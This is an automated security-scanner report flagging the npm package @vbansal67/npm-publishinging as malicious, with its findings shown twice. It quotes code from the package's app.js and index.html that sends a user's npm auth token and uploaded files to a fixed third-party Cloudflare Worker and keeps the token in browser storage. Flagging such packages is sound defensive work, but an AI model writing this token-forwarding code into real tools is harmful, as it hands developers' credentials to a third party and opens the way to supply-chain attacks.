@vbansal67/npm-publishinging@1.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

@vbansal67/npm-publishinging@1.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

6 flagged · loading source

index.htmlView file

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

79<div class="field"> <label for="npmToken">NPM Auth Token</label> <input type="password" id="npmToken" value="npm[redacted]" placeholder="npm[redacted]"> </div>

High

Ai Review Evidence

The HTML includes a prefilled npm token value.

index.htmlView on unpkg · L79

app.jsView file

175const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${WORKER_URL}/${encodedPackageName}`;

High

Ai Review Evidence

The publish action sends the entered npm bearer token to a fixed third-party Cloudflare Worker in normal browser use.

app.jsView on unpkg · L175

195// 4. Send Request const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) });

High

Ai Review Evidence

The publish action sends the entered npm bearer token to a fixed third-party Cloudflare Worker in normal browser use.

app.jsView on unpkg · L195

145const base64Content = await zipEntry.async('base64'); attachments[cleanPath] = { content_type: 'application/octet-stream', data: base64Content, length: base64Content.length };

High

Ai Review Evidence

It packages the selected file or ZIP contents into attachments and sends them with that request.

app.jsView on unpkg · L145

6// Load saved NPM token from localStorage if available if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); }

High

Ai Review Evidence

The token is also retained in browser local storage.

app.jsView on unpkg · L6

Source & flagged code

6 flagged

index.htmlView file

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

79<div class="field"> <label for="npmToken">NPM Auth Token</label> <input type="password" id="npmToken" value="npm[redacted]" placeholder="npm[redacted]"> </div>

High

Ai Review Evidence

The HTML includes a prefilled npm token value.

index.htmlView on unpkg · L79

app.jsView file

175const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${WORKER_URL}/${encodedPackageName}`;

High

Ai Review Evidence

The publish action sends the entered npm bearer token to a fixed third-party Cloudflare Worker in normal browser use.

app.jsView on unpkg · L175

195// 4. Send Request const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) });

High

Ai Review Evidence

The publish action sends the entered npm bearer token to a fixed third-party Cloudflare Worker in normal browser use.

app.jsView on unpkg · L195

145const base64Content = await zipEntry.async('base64'); attachments[cleanPath] = { content_type: 'application/octet-stream', data: base64Content, length: base64Content.length };

High

Ai Review Evidence

It packages the selected file or ZIP contents into attachments and sends them with that request.

app.jsView on unpkg · L145

6// Load saved NPM token from localStorage if available if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); }

High

Ai Review Evidence

The token is also retained in browser local storage.

app.jsView on unpkg · L6